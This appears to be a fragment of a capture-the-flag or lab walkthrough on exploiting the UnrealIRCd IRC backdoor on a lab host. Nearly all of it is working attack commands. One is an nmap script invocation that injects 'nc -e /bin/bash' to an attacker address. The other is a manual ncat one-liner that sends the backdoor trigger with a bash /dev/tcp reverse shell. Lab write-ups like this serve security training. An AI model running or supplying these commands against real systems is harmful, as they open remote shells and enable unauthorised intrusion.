nmap -p 6697 --script=irc-unrealircd-backdoor --script-args=irc-unrealircd-backdoor.command="nc -e /bin/bash 10.10.14.28 4444" 10.10.10.117
We can manually exploit by gaining access to the system with ncat.
echo "AB; bash -c 'bash -i >& /dev/tcp/10.10.14.28/1234 0>&1' " | ncat 10.10.10.117 6697